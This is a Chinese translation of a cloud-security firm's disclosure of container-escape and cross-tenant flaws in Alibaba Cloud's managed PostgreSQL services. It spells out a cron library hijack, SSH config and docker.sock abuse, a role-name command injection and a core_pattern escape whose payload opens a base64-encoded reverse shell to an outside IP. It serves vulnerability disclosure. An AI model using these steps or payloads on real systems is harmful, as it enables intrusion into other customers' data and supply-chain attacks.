查看原文
其他

BrokenSesame 阿里云PostgreSQL 漏洞技术细节

wiz.io 黑伞安全 2023-12-07

云安全公司Wiz披露了阿里云数据库服务ApsaraDB RDS for PostgreSQL和AnalyticDB for PostgreSQL的一连串严重漏洞。这些漏洞被Wiz命名为“BrokenSesame”,允许攻击者突破租户的隔离保护机制,从而未授权访问其他阿里云客户的PostgreSQL数据库,并能够对数据库服务进行供应链攻击,严重威胁到阿里云客户的数据安全

技术细节 

AnalyticDB for PostgreSQL 

Privilege Escalation 

我们首先探索在数据库容器中将我们的权限提升到 root 的方法。在我们最初的侦察中,我们发现了一个 cronjob 任务,该任务每分钟运行一次二进制文件/usr/bin/tsar并具有 root 权限。

$: ls -lah /etc/cron.d/tsar -rw-r--r-- 1 root root 99 Apr 19  2021 /etc/cron.d/tsar
$: cat /etc/cron.d/tsar
# cron tsar collect once per minute MAILTO="" * * * * * root /usr/bin/tsar --cron > /dev/null 2>&1

ldd在二进制文件上执行命令显示它从自定义位置加载共享库,/u01该目录对用户来说是可写的adbpgadmin 

我们列出了的所有者libgcc_s.so.1,发现它归我们的用户所有adbpgadmin,可以被覆盖!


$: ls -alh /u01/adbpg/lib/libgcc_s.so.1 -rwxr-xr-x 1 adbpgadmin adbpgadmin 102K Oct 27 12:22 /u01/adbpg/lib/libgcc_s.so.1

这意味着如果我们可以用我们自己的共享库覆盖这个文件,那么下次 cronjob 任务执行二进制文件时,我们库的代码将以 root 身份执行! 

为了利用这种行为,我们遵循了以下步骤: 

  1. 编译了一个共享库,将其复制/bin/bash/bin/dash使其成为 SUID,这样我们就可以以 root 身份执行代码。 

  2. 使用PatchELF实用程序向库添加依赖项libgcc_s.so.1。这样当它被加载时,我们自己的库也会被加载。 

  3. 覆盖了原来的libgcc_s.so.1库。 

  4. 等待/usr/bin/tsar被处决。 

我们的策略最终成功了,授予我们 root 访问权限。 

容器逃逸到宿主机(K8s节点) 

尽管我们成功提升了权限,但我们缺乏执行容器逃逸的能力。  

在过去一年调查多个 CSP 的托管服务时,我们发现客户从管理门户执行的操作通常会导致在托管环境中创建各种容器和进程,从而可能扩大横向移动的攻击面。 

通过调用阿里云门户中的某些操作(例如启用 SSL 加密),我们观察到 SCP 和 SSH 等多个进程的产生。

启用/禁用 SSL 加密的选项

# Command lines of the spawned processessu - adbpgadmin -c scp /home/adbpgadmin/xxx_ssl_files/* *REDACTED*:/home/adbpgadmin/data/master/seg-1/
/usr/bin/ssh -x -oForwardAgent=no -oPermitLocalCommand=no -oClearAllForwardings=yes -- *REDACTED* scp -d -t /home/adbpgadmin/data/master/seg-1/

一些生成的进程在它们的命令行中包含我们的容器中不存在的路径。我们推断这些进程是在与我们的容器共享 PID 命名空间的不同容器中生成的。为了验证这一理论,我们编写了一个 Python 脚本,等待 SCP 进程生成(因为它与我们的用户一起运行),adbpgadmin然后使用路径访问其文件系统/proc/{pid}/root/:

# The Python script we used to access the second container filesystemimport psutil import os listed = set() while True:     for proc in psutil.process_iter():         try:             processName = proc.name()             processID = proc.pid             cmdLine = proc.cmdline()             if processID not in listed and processName == 'scp':                 os.system('ls -alh /proc/{}/root/'.format(processID))
                listed.add(processID)         except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):         pass

再次重新启用 SSL 操作后,SCP 进程产生,我们的脚本让我们访问它的文件系统。我们很高兴我们的假设是正确的,并且该进程确实在第二个容器中运行。使用这种方法,我们对第二个容器进行了更多的信息收集,并得出结论,虽然两个容器不同,但它们的主目录 ( /home/adbpgadmin) 是相同的挂载! 

为了在第二个容器中执行代码,我们想到了一个有趣的想法。由于每次我们重新启用 SSL 操作并共享主目录时都会执行 SSH 命令,因此我们可以修改本地 SSH 客户端配置文件/home/adbpgadmin/.ssh/config. 通过这样做,我们可以将LocalCommand字段配置为在下一次 SSH 命令执行期间执行我们自己的任意命令。 

这是我们使用的 SSH 客户端配置示例:

执行“status.sh”脚本的 SSH 客户端配置

覆盖SSH客户端配置后,我们通过阿里云门户再次调用SSL动作。我们观察了SSH进程的spawn,我们的命令是以adbpgadmin第二个容器中的用户身份执行的! 

然后我们将 SUID 二进制文件复制到共享主目录,这样我们就可以在第二个容器中以 root 身份执行代码。

在成功地对第二个集装箱进行横向移动后,我们可以从这个新位置完成什么? 

在检查第二个容器的功能后,我们意识到它具有特权。此外,我们发现 Docker Unix 套接字 ( /run/docker.sock) 可从容器访问,这是容器转义技术中使用的已知元素。 

鉴于第二个容器只是为操作(启用 SSL 加密)临时创建的,我们利用公开的 Docker Unix 套接字来运行一个新的持久性特权容器。该容器将与主机(K8s 节点)共享相同的 PID、IPC、UTS、NET、USER 和 MOUNT 命名空间,主机根目录安装在/mnt. 它将无限期地继续存在,并通过位于 的共享管道从我们的非特权容器接收命令/home/adbpgadmin。 

生成新的“超级”容器使我们能够逃脱到主机(K8s 节点)并最终到达 K8s API,因为我们现在共享相同的网络命名空间。我们还能够通过调用反向 shell 来避免使用共享命名管道,因为主机允许出站连接到 Internet。这是一项重大的研究成果! 

有关使用docker.sockAPI 的更多信息,请参阅本指南。

# Code execution inside the new privileged container $: echo ‘id’ > /home/adbpgadmin/i_pipe; timeout 1 cat /home/adbpgadmin/o_pipe uid=0(root) gid=0(root) groups=10(wheel)
# Accessing the host filesystem from the new privileged container$: echo ‘ls -alh /mnt’ > /home/adbpgadmin/i_pipe; timeout 2 cat /home/adbpgadmin/o_pipe total 88 dr-xr-xr-x   23 root     root        4.0K Nov  6 10:07 . drwxr-xr-x    1 root     root        4.0K Nov  7 15:54 .. drwxr-x---    4 root     root        4.0K Nov  6 10:07 .kube lrwxrwxrwx    1 root     root           7 Aug 29  2019 bin -> usr/bin dr-xr-xr-x    5 root     root        4.0K Nov  2 10:21 boot drwxr-xr-x   17 root     root        3.1K Nov  6 10:08 dev drwxr-xr-x   84 root     root        4.0K Nov  6 10:08 etc drwxr-xr-x    3 root     root        4.0K Nov  2 10:24 flash drwxr-xr-x    6 root     root        4.0K Nov  6 10:11 home drwxr-xr-x    2 root     root        4.0K Nov  2 10:24 lafite lrwxrwxrwx    1 root     root           7 Aug 29  2019 lib -> usr/lib lrwxrwxrwx    1 root     root           9 Aug 29  2019 lib64 -> usr/lib64 drwx------    2 root     root       16.0K Aug 29  2019 lost+found drwxr-xr-x    2 root     root        4.0K Dec  7  2018 media drwxr-xr-x    3 root     root        4.0K Nov  6 10:07 mnt drwxr-xr-x   11 root     root        4.0K Nov  6 10:07 opt dr-xr-xr-x  184 root     root           0 Nov  6 10:06 proc dr-xr-x---   10 root     root        4.0K Nov  6 10:07 root

从 K8s 横向移动到供应链攻击 

通过访问 K8s API 服务器,我们利用节点的kubelet凭证来检查各种集群资源,包括机密、服务帐户和 pod。在检查 pod 列表时,我们发现属于同一集群中其他租户的 pod。这表明阿里云为多租户设计了集群,这意味着我们有可能获得对这些 pod 的跨租户访问。               

# Listing the pods inside the K8s cluster$: /tmp/kubectl get pods NAME                                                                       READY   STATUS      RESTARTS   AGE gp-4xo3*REDACTED*-master-100333536                                      1/1     Running     0          5d1h gp-4xo3*REDACTED*-master-100333537                                      1/1     Running     0          5d1h gp-4xo3*REDACTED*-segment-100333538                                     1/1     Running     0          5d1h gp-4xo3*REDACTED*-segment-100333539                                     1/1     Running     0          5d1h gp-4xo3*REDACTED*-segment-100333540                                     1/1     Running     0          5d1h gp-4xo3*REDACTED*-segment-100333541                                     1/1     Running     0          5d1h gp-gw87*REDACTED*-master-100292154                                      1/1     Running     0          175d gp-gw87*REDACTED*-master-100292155                                      1/1     Running     0          175d gp-gw87*REDACTED*-segment-100292156                                     1/1     Running     0          175d gp-gw87*REDACTED*-segment-100292157                                     1/1     Running     0          175d gp-gw87*REDACTED*-segment-100292158                                     1/1     Running     0          175d gp-gw87*REDACTED*-segment-100292159                                     1/1     Running     0          175d ...

我们还决定调查容器注册表的秘密,因为阿里云使用他们的私有存储库来托管 K8s 容器镜像。

# A snippet of the pods configuration, illustrating the use of a private container registry
"spec": {     "containers": [         {             "image": "*REDACTED*.eu-central-1.aliyuncs.com/apsaradb_*REDACTED*/*REDACTED*",             "imagePullPolicy": "IfNotPresent", ...               "imagePullSecrets": [         {             "name": "docker-image-secret"         }     ],

为了在 K8s 中使用私有容器注册表,需要通过配置中的 imagePullSecret字段提供凭证。

提取这个秘密允许我们访问这些凭据并根据容器注册测试它们! 

# Retrieving the container registry secret$: /tmp/kubectl get secret -o json docker-image-secret {     "apiVersion": "v1",     "data": {         ".dockerconfigjson": "eyJhdXRoc*REDACTED*"     },     "kind": "Secret",     "metadata": {         "creationTimestamp": "2020-11-12T14:57:36Z",         "name": "docker-image-secret",         "namespace": "default",         "resourceVersion": "2705",         "selfLink": "/api/v1/namespaces/default/secrets/docker-image-secret",         "uid": "6cb90d8b-1557-467a-b398-ab988db27908"     },     "type": "kubernetes.io/dockerconfigjson" }
# Redacted decoded credentials{     "auths": {         "registry-vpc.eu-central-1.aliyuncs.com": {             "auth": "*REDACTED*",             "password": "*REDACTED*",             "username": "apsaradb*REDACTED*"         }     } }

在针对容器映像注册表测试凭据后,我们发现我们不仅具有读取权限,而且还具有写入权限。这意味着我们有能力覆盖容器镜像,并可能对整个服务和其他服务的镜像进行供应链攻击。 

例如,我们可以覆盖rds_postgres_*REDACTED*属于另一个服务的图像。

环境卫生问题 

与我们进行的所有研究一样,我们尝试对文件系统进行秘密扫描,以查看是否可以检索任何访问密钥、私钥等,因为环境卫生不佳可能会引发更具破坏性的攻击。对节点的秘密扫描揭示了各种日志文件(包括该.bash_history文件)中的多个访问密钥。

/etc/*REDACTED*/custins/400480085/100333829/custins_job:LTAIALrh*REDACTED*gi /opt/*REDACTED*/golang_extern_backend_sls.conf:LTAI4Fo*REDACTED*5kJ /root/.bash_history:LTAI4FrP*REDACTED*NTqkX /var/lib/*REDACTED*/data/errors-1182678.txt:LTAI4G4*REDACTED*Ujw3y /var/lib/docker/containers/1085d3b04fed29011705ca6d277525bbde342dbc036a605b6ecb74531b708543/config.v2.json:LTAI4Fdepc*REDACTED*v1R

云数据库 RDS for PostgreSQL 

在对 AnalyticDB 进行研究之后,我们的目标是通过 ApsaraDB RDS 服务复制它的影响。对我们的 ApsaraDB RDS PostgreSQL 实例容器的侦察揭示了与 AnalyticDB 不同的环境。因此,我们需要寻找新的漏洞来逃脱容器并获得对底层主机的访问权限。

$: id uid=1000(alicloud_rds_admin) gid=1000(alicloud_rds_admin) groups=1000(alicloud_rds_admin)

文件泄露原语 

在浏览数据库容器中的文件时,我们偶然发现了目录/tmp/tools_log。它包含一个奇怪的文件:

$: ls -alh /tmp/tools_log total 2.4M drwxrwxrwx 2 root root 4.0K Nov 10 08:55 . drwxrwxrwx 5 root root 4.0K Nov 16 23:07 .. -rwxrwxrwx 1 root root 2.4M Nov 16 23:07 docker_tools.log

我们意识到这是属于另一个容器的操作日志,负责对我们的数据库容器执行某些操作。这揭示了容器的性质,并提供了有用的信息,例如文件路径。 

然后,我们在阿里云门户中搜索有趣的功能以利用 AnalyticDB,并偶然发现了吊销文件配置。在幕后,它触发了这些日志:

以红色突出显示的是显示命令执行的日志sed。尽管这些sed命令是在第二个容器中执行的,但它们对/data/pg_hba.conf与我们的数据库容器共享的配置文件进行了修改。 

对于那些不熟悉sed -i   (就地)命令的人,它的工作原理是首先将目标文件复制到一个临时位置,使用正则表达式进行所需的修改,然后将编辑后的文件移回其原始位置。我们发现可以通过符号链接攻击利用此行为从第二个容器复制文件。  

要执行此攻击,我们需要使用符号链接将/data/pg_hba.conf配置文件替换为对第二个容器中所需文件的引用。sed -i激活阿里云门户中的“撤销列表”功能,然后会在第二个容器中启动命令,并/data/pg_hba.conf用第二个容器中的所需文件覆盖。  

在下面的示例中,我们创建了一个符号链接k8s_ctx.py (我们从日志中检索了它的路径)。 

$: unlink pg_hba.conf; ln -s *REDACTED*/operator/k8s_ctx.py pg_hba.conf

我们随后更新了阿里云门户中的“吊销列表”,并观察了文件的变化  pg_hba.conf 。当我们读取它时,我们可以看到我们想要的文件的内容! 

# Reading a file from the second container$: cat pg_hba.conf import os import pwd from *REDACTED*/operator.utils.envs import ToolImageEnv from *REDACTED*/operator.k8s_ctx import db_ctx_pgsql_config, db_ctx_pgsql_database, db_ctx_pgsql_replica, \     db_ctx_pgsql_system, db_ctx_pgsql_switch

对 Python 文件中的任何导入重复此操作使我们能够获得在第二个容器中运行的完整 Python 源代码,从而生成新的攻击面。 

源代码表明,几乎所有对我们数据库的管理操作都会创建一个具有相同代码的新容器,其操作由传递给它的环境变量决定。这些信息在我们逃逸到主机时非常有用。 

利用RCE并逃逸到主机(K8s节点) 

阿里云提供了一项功能,可以在继续进行选定的升级之前验证 PostgreSQL 实例是否可以升级到较新的版本。这是为了避免损坏数据库。 

我们在检索到的代码中审核了此功能,发现了一个命令行注入漏洞,该漏洞允许我们在负责此操作的容器中执行代码。 

这是易受攻击的功能: 

该参数未经任何清理就被格式化为命令行;该命令稍后以root权限执行!但我们能控制吗?是的,它是通过以下查询从我们的数据库中选择的:install_user install_user

select rolname from pg_authid where oid=10;

此查询返回 PostgreSQL 超级用户角色名称,即数据库的管理员用户名。 

由于阿里云使用了alicloud_rds_admin该服务超级用户的角色名称,我们执行了以下操作以在负责“版本升级检查”的容器内执行代码: 

  1. 通过阿里云门户开始版本升级检查。 

  2. alicloud_rds_admin使用 ALTER ROLE 语句将 PostgreSQL 用户名 更改为命令行注入:"ALTER ROLE \"alicloud_rds_admin\" RENAME TO \"\`id\`\";" 

  3. 等待 5 秒让进程完成。 

  4. 找回了用户名。 

虽然我们在开始时对用户名有一些长度限制,但这个流程运行得很好,我们设法在“版本升级检查”容器中以 root 身份执行代码! 

鉴于此容器具有特权,我们可以使用core_pattern容器转义技术: 

  • 如果/proc/sys挂载为可写(它是),我们可以覆盖/proc/sys/kernel/core_pattern它定义了一个命名核心转储文件的模板。 

  • 的语法/proc/sys/kernel/core_pattern  允许通过“|”字符将核心转储管道传输到程序。由于core_pattern与主机共享,因此在发生崩溃时程序将在主机上执行。这将允许容器逃逸。 

幸运的是,我们满足了这项技术的所有条件。我们core_pattern用 bash 反向 shell(以 base64 编码)覆盖了: 

echo '|/bin/bash -c echo${IFS%%??}L2Jpbi9iYXNoIC1pPiYvZGV2L3RjcC8yMC4xMjQuMTk0LjIxMi82MDAwMSAwPiYxCg==|base64${IFS%%??}-d|/bin/bash' > /proc/sys/kernel/core_pattern

回到我们的 PostgreSQL 容器,我们所要做的就是让我们的进程崩溃: 

$: sh -c 'kill -11 "$$"'

我们从主机(K8s 节点)获得了一个反向 shell!

[root@i-gw80v6j*REDACTED* /]
$: id uid=0(root) gid=0(root) groups=0(root)

K8s 跨租户访问 

与 AnalyticDB 一样,我们利用强大的kubelet凭证来收集集群信息。  

我们列出了所有的 pod,并观察到租户的几个数据库位于同一个节点上。就在那时我们意识到我们的节点正在托管多个租户。我们一注意到这一点,就立即停止了研究,并避免访问其他客户的数据。 

# Other customers’ data mounted on our node$: mount | grep -i /mount | grep -ioE 'pgm-(.*?)/' | sort | uniq pgm-*REDACTED*-data-19d1322c/ pgm-*REDACTED*-data-15c361da/ pgm-*REDACTED*-data-38f60684/ pgm-*REDACTED*-data-61b4d30a/ pgm-*REDACTED*-data-0197fb99/ pgm-*REDACTED*-data-0fa7676b/ pgm-*REDACTED*-data-52250988/ pgm-*REDACTED*-data-8d044ffb/ pgm-*REDACTED*-data-09290508/ pgm-*REDACTED*-data-bc610a92/ pgm-*REDACTED*-data-d386ec2d/ pgm-*REDACTED*-data-ed5993d7/ pgm-*REDACTED*-data-a554506c/ pgm-*REDACTED*-data-d99da2be/

我们对 AnalyticDB 和 ApsaraDB RDS 的研究的技术细节到此结束。 


原文链接:https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-potential-r#analyticdb-for-postgresql-52

都是记录自己挖洞、刷src的一些思路

                          

继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存